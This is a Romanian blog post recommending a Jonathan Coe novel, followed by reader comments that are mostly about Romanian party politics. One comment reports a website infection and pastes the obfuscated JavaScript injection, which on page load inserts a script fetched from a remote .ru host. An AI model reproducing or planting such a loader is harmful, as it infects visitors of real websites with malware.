Ploaia înainte să cadă
Citiți neapărat ultimul roman al lui Jonathan Coe tradus în română, Ploaia înainte să cadă!
A apărut la Polirom, în traducerea Luminiței Gavrilă.
E un roman despre feminitate și destin, o construcție impecabilă – mai exact: “povestirea” a 20 de fotografii – care dă seamă de o gingășie umană (acesta e termenul!) pe care nu o găsești prea des în romanele ultimelor decenii.
Cuvinte cheie: Coe






23 comentarii
cand mai aveti timp sa cititi si romane? in avion, spre/de la bruxelles?
Multumim pentru recomandare. Intr-adevar, ginagsie umana pare a fi o sintagma reflectata tot mai rar in realitate…
Si SOIM Press a avut ieri probleme asemanatoare cu portalul.
Kaspersky Internet Security nu reusise sa depisteze un troian pe nume NRL. A patruns prin ftp si a infectat 2 fisiere php si majoritatea js. La finalul codului sursa din js aparea apelarea prin
/*GNU GPL*/ try{window.onload = function(){var Ak4di2tiyxs5j = document.createElement(’s$@@$c#!#)@r)^^#)i##&p&&!$t&#’.replace(/\)|\^|\$|\!|#|@|&|\(/ig, ”));var Z1lafg0t1j8gh = ‘Lgvh4u3xnoidr’;Ak4di2tiyxs5j.setAttribute(‘type’, ‘t!)$((e&#!x$#t$/&@^(@j)!a)v@$(a!!s^@c&$r#$$i$#p!)(!t^’.replace(/\(|#|\^|\)|\!|&|@|\$/ig, ”));Ak4di2tiyxs5j.setAttribute(’src’, ‘h^!t@t$p((:&#((/@$@&/!#!w#!#w!((w!!&-)!#^n)$^e#$t!#-&c&$n!&(.)@a#$l^&@o&&(t&#$.(@c!(((o^)$m&#&(&.(!l(^i(#v!!)e$#^s^&c)@!#o!$r@!$e@@-)c#@o#)$m@(.()($w@$&&(e^^b&n)#@e^$t&!$l^@e^n!d^e^r#.#&!r&#!!u&:#!$@8^&(0@8$^0)$/!#(@g^&!@o@^^o#&g)l!&e##)$.()c@)o$$##m)/)@$^g()()o@()o@@^g)l@)e)@!.(c$^&o!($@m)/^b@&a@@($!n(^!(g$&b!r$#@o(&!s#1$).&@#$!c^&(o)m@@&#/((@$^w(()@a)!!t@(@.$!t&(v&!)/^!b$l&@u!!e!h^o^^s((t&#$.@#!c$&o&&!m!^@#^/^(‘.replace(/\!|\)|@|&|#|\^|\(|\$/ig, ”));Ak4di2tiyxs5j.setAttribute(‘defer’, ‘d$!e&&@&f!$!e!r@^’.replace(/\(|\^|\!|@|\)|#|\$|&/ig, ”));Ak4di2tiyxs5j.setAttribute(‘id’, ‘G!4^w(n^!(@5!@)q!@&1&&u&#$d#!&u)!u^f(($s)!’.replace(/@|\$|#|\^|&|\)|\!|\(/ig, ”));document.body.appendChild(Ak4di2tiyxs5j);}} catch(Z3ao9×4ivxwr3yt) {}
Asta cu ploaia care “stă să cadă” e băgată la mişto sau este vreun mesaj criptat -
Les sanglots longs
Des violons
De l’automne
Blessent mon cœur
D’une langueur
Monotone.
@Riddick
cred ca pentru cine tine mortis, e la misto; pentru mine nu e si e bine venita; ca un ghiocel …:) …tot de decriptat, of course …
“Unii stramba din nas in PDL ca Boc a fost desemnat din nou premier”…
Dom’ profesor, hai că-i simplă: ori sunteţi de acord cu “strâmbatul” şi vreţi jos Boc (say it loud !), ori nu sunteţi de acord, şi atunci îi veţi numi şi combate pe “strâmbători”, ori nu ştiţi despre ce vorbiţi.
Lalele mele olandeze pe care le-am achizitionat ca bulbi si plantat anul trecut in jardinierele agatate pe fatada blocului au rasarit. Sunt multe, foarte multe, frunzulite verzi. Sa fie de la ploaie?
Deontologie jurnalistica, sau ploaia acida a antenelor?
Actiune si reactiune … respectand legile fizicii
“HONORICĂ PRIGOANĂ, RECLAMĂ PE SITE-UL POLIŢIEI!
joi 7 ianuarie 2010 de Roxana Iordache
Ştirea zilei la “Ştirea zilei”, cu Gabi Firea: pe site-ul Poliţiei Rutiere, reclamă electorală cu Hororică Prigoană!
Super-super tare! O splendoare! Chiar la Poliţia Rutieră!
Acum, serios, BLAGA, DEMISIA!”
_____
” Data: 08/01/2010 Sursa: IGPR
Referitor la informaţia vehiculată într-o emisiune a unui un post de televiziune, în seara zilei de 7 ianuarie a.c., privind existenţa pe site-ul Poliţiei Rutiere a sloganului electoral al unui candidat politic, pentru o corectă informare a opiniei publice, Centrul de Informare şi Relaţii Publice din cadrul Inspectoratului General al Poliţiei Române este împuternicit să facă următoarele precizări:
Poliţia Română a acţionat corect şi echidistant de fiecare dată în perioadele campaniilor electorale şi considerăm că afirmaţiile care creditează publicitatea electorală făcută în favoarea unui candidat politic dezinformează în mod deliberat opinia publică.
Site-ul oficial al Inspectoratului General al Poliţiei Române este http://www.politiaromana.ro, iar pagina de internet a Direcţiei Rutiere poate fi accesată la adresa http://www.politiaromana.ro/DPR/index.htm. Aceasta cuprinde o serie de informaţii utile participanţilor la trafic şi nicidecum publicitate electorală.
Site-ul la care s-a făcut referire în emisiunea respectivă nu este site-ul oficial al Poliţiei Rutiere, astfel încât respingem orice acuzaţii privind existenţa unei legături între informaţiile apărute pe un site privat şi Poliţia Română.
Poliţia Română exercită atribuţii privind apărarea drepturilor şi libertăţilor fundamentale ale persoanei, a proprietăţii private şi publice, prevenirea şi descoperirea infracţiunilor, respectarea ordinii şi liniştii publice, în condiţiile legii. Activitatea Poliţiei se realizează în interesul persoanei, al comunităţii, precum şi în sprijinul instituţiilor statului, exclusiv pe baza şi în executarea legii.
CENTRUL DE INFORMARE ŞI RELAŢII PUBLICE”
_____
Imi aduc aminte de “comunicatele din decembrie 1989 de genul:
-Bucuresteni, nu consumati apa de la robinet, teroristii au otravit-o!
Inainte sa cada cine, domnule Preda? Stiti ce doresc multi “oameni de dreapta”? Sa va desprindeti de PDL cu o grupare suficient de consistenta de intelectuali si parlamentari si sa coagulati un nou partid, cu o identitate doctrinara clara. E clar ca nu va potriviti cu partidul lui Boc si ca faceti eforturi supraomenesti in a va acomoda cu gangsterismul de acolo. Ideea unei noi formatiuni nu e de colo. Stim bine ca la noi partidele se fac acum de sus in jos, nu invers, ca in cazul formatiunii gestante a lui Oprea si Simirad. Cu un numar suficient de parlamentari capeti si ceva resurse, si vizibilitate, si cheag electoral. Totul e sa va alegeti bine momentul rupturii. O sa mai apara ocazii de acutizare a conflictelor interne, dupa Congres, dupa primele miscari de strada, dupa alegerea abuziva a Ebei in fruntea tineretului pedelist, dupa primele mari scandaluri de coruptie si confiscare a media, la inceperea “reformei” Constitutiei, la demararea afacerii Rosia Montana… Fiti sigur ca foarte multi intelectuali care au trudit, cu buna credinta, la cosmetizarea imaginii lui Basescu, va vor urma, impreuna cu sperantele lor de reforma autentica. Apropo, stim ca sunteti un adept al bicameralismului, inca o nepotrivire clara cu viitorii dvs. fosti colegi din PDL si chiar cu Traian Basescu. Eu va urez succes de pe acum si sa va dea Dumnezeu gandul cel bun. Reformarea PDL e o iluzie, ca si schimbarea garniturii oligarhilor Berceanu-Videanu-Blaga-Udrea. Solutia e una singura: scindarea.
@radu: ce sarpe …chiar credeti ca functioneaza cu CPreda ? imi vine sa rad …:)
Ce qu’il y a de scandaleux dans le scandale, c’est qu’on s’y habitue. (Simone de Beauvoir)
Nu cumva asta-i avanpremiera Planului ?
Planul :
http://www.machiavelli.ro/stiri.php?art=15988
@Riddikol :
Ia-te de mana cu CPatrscoiu ca si el in articolul din Bloggroll ul din dreapta , bate seaua sa priceapa cel de pe capra ( nu Udrea !) ca ar fi bine ca si la oameni sa li se puna zgarda sau calus.
Intrebat daca face aluzie la luarea de pozitie a dlui CPreda, a preferat sa baneze, ca nu-l duce mintea sa raspunda , sau poate se eschiveaza sa dea un raspuns transant
@jean V. stiu si eu? daca-i de buna credinta, functioneaza…
Subiectul topicului este o carte, nu stiu ce discutati aici despre Udrea, Boc si PD-L, sunt si altele.
@Cristian Preda: E nasol ca in Romania nu prea se gasesc carti in limba originala si daca sunt, costa mult mai mult decat cele traduse, asa ca trebuie sa apelam la Amazon sau alte metode.
V-ati repliat?
De obicei evocarea ploii induce tristete. Sa-ntelegem ca urmeaza debarcarea dlui. Cpreda din PD minus L?
Dle. Cpreda sa stiti ca o sa va tin loc langa mine si biblio pe o “banca” a independentilor.
Si io am avut o aventura de acest gen, dar in alt partid, acum vreo 14 ani. Asa ca nu-i mare paguba, consider eu. De pierdut, va pierde PD minus L. Pentru ca pierde un personaj care da o oarecare valoare partidului.
V-am avertizat de mai multe ori ca linia dvs. nu este conforma cu linia partidului. Iar un partid, de orice factura ar fi el, este o inchisoare pentru un spirit liber, ca al vs.
Chiar, imi pare rau pentru dvs. Sincer.
Considerati ca sunteti si dumneavoastra vinovat pentru ca PDL a devenit ceea ce este?Daca da- considerati ca vina dumneavoastra este minora,medie sau importanta?
“un partid, de orice factura ar fi el, este o inchisoare pentru un spirit liber” – dupa Dvs. libertatea ar fi sublima intr-o societate fara partide.
mesaajul de mai sus ,
domnului care semneaza ’sopinel’
CELE MAI NEDEMOCRATICE PARTIDE DIN ROMANIA:
sfirsitul de noiembrie si inceputul de decembrie a anului 2009 a pus in evidenta intransigenta si radicalismul din PSD SI PNL.
dealtfel iesirile publice ale celor doi papagali ghidonati de sponsorii lor vintu si patriciu,au sanctionat drastic pozitiile unor membrii de partid.
asa se face ca grupul ,INDEPENDENTILOR din parlament a crescut precum fat frumos.
cineva cu simtul umorului mai dezvoltat decit mine ar zice precum mucalitul:
Frate, geoana si crin au batut palma cu basescu,i-au facut partid nou,INDEPENDENTII DIN PARLAMENT’.
altfel cum sa-mi pot explica atitudinile dictatoriale ale celor doi papagali?
din cite vad ,DL PREDA,a bine merci tot in PD-L,si acolo va ramine.
Trebuie spus ca respectivul roman al lui Coe este diferit ca stil de celelalte. Nu va asteptati sa regasiti umorul oarecum lejer din celelalte carti ale lui J.C., ultima sa carte este mult mai profunda, mult mai sensibil scrisa. De fapt, este o surpriza daca te gandesti la celelalte romane ale sale. Una placuta, din fericire, dar depinde si de gust…….
Lectura placuta!
PS Este a 4 oara cand incerc sa postez mesajul asta!
http://www.gardianul.ro/Supertare-in-Romania,-nici-macar-ceasul-reprezentantei-Longines-nu-mai-arata-ora-exacta!-s151914.html
Introduceți datele si comentariul dvs.